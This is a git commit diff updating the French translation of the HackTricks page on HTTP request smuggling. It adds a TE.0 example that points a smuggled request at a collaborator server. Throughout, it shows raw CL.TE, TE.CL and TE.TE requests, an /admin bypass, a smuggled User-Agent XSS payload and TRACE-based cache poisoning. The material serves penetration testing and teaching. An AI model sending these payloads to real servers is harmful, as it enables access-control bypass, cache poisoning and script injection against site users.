mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['pentesting-web/http-request-smuggling/README.md'] to fr
This commit is contained in:
Translator
parent
68a22d6401
commit
e663b63616
1 changed files with 57 additions and 30 deletions
|
|
@ -1,16 +1,16 @@
|
|||
# HTTP Request Smuggling / HTTP Desync Attack
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos GitHub.
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
@ -37,15 +37,15 @@ Cela permet à un utilisateur de **modifier la prochaine requête qui arrive au
|
|||
|
||||
### Réalité
|
||||
|
||||
Le **Front-End** (un équilibreur de charge / Proxy inverse) **traite** l'en-tête _**content-length**_ ou l'en-tête _**transfer-encoding**_ et le serveur **Back-end** **traite l'autre**, provoquant une **désynchronisation** entre les 2 systèmes.\
|
||||
Le **Front-End** (un équilibreur de charge / Proxy Inverse) **traite** l'en-tête _**content-length**_ ou l'en-tête _**transfer-encoding**_ et le serveur **Back-end** **traite l'autre**, provoquant une **désynchronisation** entre les 2 systèmes.\
|
||||
Cela pourrait être très critique car **un attaquant pourra envoyer une requête** au proxy inverse qui sera **interprétée** par le serveur **back-end** **comme 2 requêtes différentes**. Le **danger** de cette technique réside dans le fait que le serveur **back-end** **interprétera** la **2ème requête injectée** comme si elle **venait du prochain client** et la **vraie requête** de ce client fera **partie** de la **requête injectée**.
|
||||
|
||||
### Particularités
|
||||
|
||||
Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 octets :**
|
||||
|
||||
* **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **corps** de la requête. Le corps est censé se terminer au dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**.
|
||||
* **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne**, mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0`
|
||||
* **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **corps** de la requête. Le corps est censé se terminer par le dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**.
|
||||
* **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0`
|
||||
* **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** lors de la première requête du request Smuggling.
|
||||
|
||||
## Exemples de base
|
||||
|
|
@ -54,12 +54,16 @@ Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 oct
|
|||
Lors de l'exploitation de cela avec Burp Suite, **désactivez `Update Content-Length` et `Normalize HTTP/1 line endings`** dans le répéteur car certains gadgets abusent des nouvelles lignes, des retours chariot et des content-length malformés.
|
||||
{% endhint %}
|
||||
|
||||
Les attaques de smuggling de requêtes HTTP sont élaborées en envoyant des requêtes ambiguës qui exploitent les divergences dans la façon dont les serveurs front-end et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement comme **CL.TE**, **TE.CL** et **TE.TE**. Chaque type représente une combinaison unique de la façon dont les serveurs front-end et back-end priorisent ces en-têtes. Les vulnérabilités proviennent du fait que les serveurs traitent la même requête de différentes manières, entraînant des résultats inattendus et potentiellement malveillants.
|
||||
Les attaques de HTTP request smuggling sont élaborées en envoyant des requêtes ambiguës qui exploitent les divergences dans la façon dont les serveurs front-end et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement comme **CL.TE**, **TE.CL**, et **TE.TE**. Chaque type représente une combinaison unique de la façon dont les serveurs front-end et back-end priorisent ces en-têtes. Les vulnérabilités proviennent du fait que les serveurs traitent la même requête de différentes manières, entraînant des résultats inattendus et potentiellement malveillants.
|
||||
|
||||
### Exemples de base des types de vulnérabilités
|
||||
|
||||
|
||||
|
||||
{% hint style="info" %}
|
||||
À la table précédente, vous devriez ajouter la technique TE.0, comme la technique CL.0 mais en utilisant Transfer Encoding.
|
||||
{% endhint %}
|
||||
|
||||
#### Vulnérabilité CL.TE (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)
|
||||
|
||||
* **Front-End (CL) :** Traite la requête en fonction de l'en-tête `Content-Length`.
|
||||
|
|
@ -117,7 +121,7 @@ x=
|
|||
* **Scénario d'attaque :**
|
||||
* L'attaquant envoie une requête avec des en-têtes `Transfer-Encoding` obfusqués.
|
||||
* Selon quel serveur (front-end ou back-end) échoue à reconnaître l'obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée.
|
||||
* La partie non traitée de la requête, telle que vue par l'un des serveurs, devient partie d'une requête subséquente, entraînant un smuggling.
|
||||
* La partie non traitée de la requête, telle que vue par l'un des serveurs, devient partie d'une requête subséquente, entraînant le smuggling.
|
||||
* **Exemple :**
|
||||
|
||||
```
|
||||
|
|
@ -137,10 +141,10 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **Scénario CL.CL (Content-Length utilisé par le Front-End et le Back-End) :**
|
||||
#### **Scénario CL.CL (Content-Length utilisé par le Front-End et le Back-End)**
|
||||
|
||||
* Les deux serveurs traitent la requête uniquement en fonction de l'en-tête `Content-Length`.
|
||||
* Ce scénario ne conduit généralement pas à un smuggling, car il y a un alignement dans la façon dont les deux serveurs interprètent la longueur de la requête.
|
||||
* Ce scénario ne conduit généralement pas au smuggling, car il y a un alignement dans la façon dont les deux serveurs interprètent la longueur de la requête.
|
||||
* **Exemple :**
|
||||
|
||||
```
|
||||
|
|
@ -152,9 +156,9 @@ Connection: keep-alive
|
|||
Normal Request
|
||||
```
|
||||
|
||||
#### **Scénario CL != 0 :**
|
||||
#### **Scénario CL.0**
|
||||
|
||||
* Fait référence aux scénarios où l'en-tête `Content-Length` est présent et a une valeur autre que zéro, indiquant que le corps de la requête a du contenu.
|
||||
* Fait référence aux scénarios où l'en-tête `Content-Length` est présent et a une valeur autre que zéro, indiquant que le corps de la requête a du contenu. Le back-end ignore l'en-tête `Content-Length` (qui est traité comme 0), mais le front-end l'analyse.
|
||||
* C'est crucial pour comprendre et élaborer des attaques de smuggling, car cela influence la façon dont les serveurs déterminent la fin d'une requête.
|
||||
* **Exemple :**
|
||||
|
||||
|
|
@ -167,13 +171,35 @@ Connection: keep-alive
|
|||
Non-Empty Body
|
||||
```
|
||||
|
||||
#### Scénario TE.0
|
||||
|
||||
* Comme le précédent mais en utilisant TE.
|
||||
* Technique [rapportée ici](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
* **Exemple** :
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
Host: {HOST}
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept: */*
|
||||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
|
||||
50
|
||||
GET <http://our-collaborator-server/> HTTP/1.1
|
||||
x: X
|
||||
0
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### Casser le serveur web
|
||||
|
||||
Cette technique est également utile dans les scénarios où il est possible de **casser un serveur web tout en lisant les données HTTP initiales** mais **sans fermer la connexion**. De cette manière, le **corps** de la requête HTTP sera considéré comme la **prochaine requête HTTP**.
|
||||
Cette technique est également utile dans des scénarios où il est possible de **casser un serveur web tout en lisant les données HTTP initiales** mais **sans fermer la connexion**. De cette manière, le **corps** de la requête HTTP sera considéré comme la **prochaine requête HTTP**.
|
||||
|
||||
Par exemple, comme expliqué dans [**ce rapport**](https://mizu.re/post/twisty-python), dans Werkzeug, il était possible d'envoyer certains **caractères Unicode** et cela ferait **casser** le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **prochaine requête HTTP**.
|
||||
Par exemple, comme expliqué dans [**ce rapport**](https://mizu.re/post/twisty-python), dans Werkzeug, il était possible d'envoyer certains caractères **Unicode** et cela ferait **casser** le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **prochaine requête HTTP**.
|
||||
|
||||
#### Forçage via des en-têtes hop-by-hop
|
||||
#### Forcer via des en-têtes hop-by-hop
|
||||
|
||||
En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding afin qu'un HTTP request smuggling soit possible à abuser**.
|
||||
```
|
||||
|
|
@ -246,11 +272,11 @@ X
|
|||
|
||||
### Test de vulnérabilité de HTTP Request Smuggling
|
||||
|
||||
Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes client peuvent être manipulées. Une méthode simple consiste à tenter de polluer vos requêtes, par exemple, en faisant en sorte qu'une requête à `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Exemples de base](./#basic-examples) démontrent comment polluer une requête client pour provoquer une réponse 404, malgré le fait que le client vise à accéder à une ressource différente.
|
||||
Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de polluer vos requêtes, par exemple, en faisant en sorte qu'une requête à `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Exemples de base](./#basic-examples) démontrent comment polluer une requête client pour provoquer une réponse 404, malgré le fait que le client vise à accéder à une ressource différente.
|
||||
|
||||
**Considérations clés**
|
||||
|
||||
Lors de la recherche de vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
|
||||
Lors du test des vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
|
||||
|
||||
* **Connexions réseau distinctes :** Les requêtes "d'attaque" et "normales" doivent être envoyées sur des connexions réseau séparées. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
|
||||
* **URL et paramètres cohérents :** Visez à utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. Les faire correspondre augmente la probabilité que les deux requêtes soient traitées par le même serveur, une condition préalable à une attaque réussie.
|
||||
|
|
@ -301,11 +327,11 @@ a=x
|
|||
0
|
||||
|
||||
```
|
||||
Inversement, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête intégrée suivante est traitée en fonction de l'en-tête `Content-Length`. Semblable à l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin restreint `/admin`.
|
||||
Inverse, dans l'attaque TE.CL, la requête initiale `POST` utilise `Transfer-Encoding: chunked`, et la requête intégrée suivante est traitée en fonction de l'en-tête `Content-Length`. Semblable à l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin restreint `/admin`.
|
||||
|
||||
### Réécriture des requêtes front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Révélation de la réécriture des requêtes frontales <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Les applications utilisent souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, tels que `X-Forwarded-For: <IP du client>`, pour relayer l'IP du client au back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de **contourner les protections** ou **découvrir des informations ou des points de terminaison cachés**.
|
||||
Les applications utilisent souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, tels que `X-Forwarded-For: <IP du client>`, pour relayer l'IP du client au back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de **contourner les protections** ou **découvrir des informations ou des points de terminaison dissimulés**.
|
||||
|
||||
Pour enquêter sur la façon dont un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, élaborez une requête, en utilisant ce paramètre en dernier, similaire à ce qui suit :
|
||||
```
|
||||
|
|
@ -396,7 +422,7 @@ Ce payload est structuré pour exploiter la vulnérabilité en :
|
|||
2. Suivant avec un `0`, marquant la fin du corps du message chunked.
|
||||
3. Ensuite, une requête `GET` smuggled est introduite, où l'en-tête `User-Agent` est injecté avec un script, `<script>alert(1)</script>`, déclenchant le XSS lorsque le serveur traite cette requête subséquente.
|
||||
|
||||
En manipulant le `User-Agent` par le biais du smuggling, le payload contourne les contraintes normales de requête, exploitant ainsi la vulnérabilité XSS réfléchie de manière non standard mais efficace.
|
||||
En manipulant le `User-Agent` par le smuggling, le payload contourne les contraintes normales de requête, exploitant ainsi la vulnérabilité XSS réfléchie de manière non standard mais efficace.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
|
|
@ -410,7 +436,7 @@ Dans [**ce writeup**](https://mizu.re/post/twisty-python), cela a été abusé a
|
|||
|
||||
### Exploiter les redirections sur site avec le HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Les applications redirigent souvent d'une URL à une autre en utilisant le nom d'hôte de l'en-tête `Host` dans l'URL de redirection. Cela est courant avec des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans barre oblique finale entraîne une redirection pour inclure la barre oblique :
|
||||
Les applications redirigent souvent d'une URL à une autre en utilisant le nom d'hôte de l'en-tête `Host` dans l'URL de redirection. Cela est courant avec des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans barre oblique à la fin entraîne une redirection pour inclure la barre oblique :
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
|
|
@ -502,7 +528,7 @@ Si cette requête de contournement empoisonne une entrée de cache destinée à
|
|||
|
||||
### Abus de TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**Dans cet article**](https://portswigger.net/research/trace-desync-attack), il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser avec un HTTP Request Smuggling. Cela est dû au fait que cette méthode renverra tout en-tête envoyé au serveur dans le corps de la réponse. Par exemple :
|
||||
[**Dans cet article**](https://portswigger.net/research/trace-desync-attack), il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser avec un HTTP Request Smuggling. Cela est dû au fait que cette méthode renverra tout en-tête envoyé au serveur comme partie du corps de la réponse. Par exemple :
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
|
|
@ -520,14 +546,14 @@ XSS: <script>alert("TRACE")</script>
|
|||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Un exemple sur la façon d'abuser de ce comportement serait de **faire passer d'abord une requête HEAD**. Cette requête sera répondue uniquement avec les **en-têtes** d'une requête GET (**`Content-Type`** parmi eux). Et faire passer **immédiatement après le HEAD une requête TRACE**, qui sera **réfléchissant les données envoyées**.\
|
||||
Comme la réponse HEAD contiendra un en-tête `Content-Length`, la **réponse de la requête TRACE sera traitée comme le corps de la réponse HEAD, réfléchissant donc des données arbitraires** dans la réponse. \
|
||||
Comme la réponse HEAD contiendra un en-tête `Content-Length`, la **réponse de la requête TRACE sera traitée comme le corps de la réponse HEAD, réfléchissant donc des données arbitraires** dans la réponse.\
|
||||
Cette réponse sera envoyée à la prochaine requête sur la connexion, donc cela pourrait être **utilisé dans un fichier JS mis en cache par exemple pour injecter du code JS arbitraire**.
|
||||
|
||||
### Abuser de TRACE via le découpage de réponse HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Continuer à suivre [**ce post**](https://portswigger.net/research/trace-desync-attack) est suggéré comme une autre façon d'abuser de la méthode TRACE. Comme commenté, faire passer une requête HEAD et une requête TRACE permet de **contrôler certaines données réfléchies** dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l'en-tête Content-Length et est formée par la réponse à la requête TRACE.
|
||||
Continuer à suivre [**ce post**](https://portswigger.net/research/trace-desync-attack) est suggéré comme une autre façon d'abuser de la méthode TRACE. Comme commenté, faire passer une requête HEAD et une requête TRACE il est possible de **contrôler certaines données réfléchies** dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l'en-tête Content-Length et est formée par la réponse à la requête TRACE.
|
||||
|
||||
Par conséquent, la nouvelle idée serait que, connaissant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet du Content-Length, permettant à un attaquant de contrôler complètement la requête à la prochaine réponse (ce qui pourrait être utilisé pour effectuer un empoisonnement de cache).
|
||||
Par conséquent, la nouvelle idée serait que, sachant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet du Content-Length, permettant à un attaquant de contrôler complètement la requête à la prochaine réponse (ce qui pourrait être utilisé pour effectuer un empoisonnement de cache).
|
||||
|
||||
Exemple :
|
||||
```
|
||||
|
|
@ -697,16 +723,17 @@ table.add(req)
|
|||
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
|
||||
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue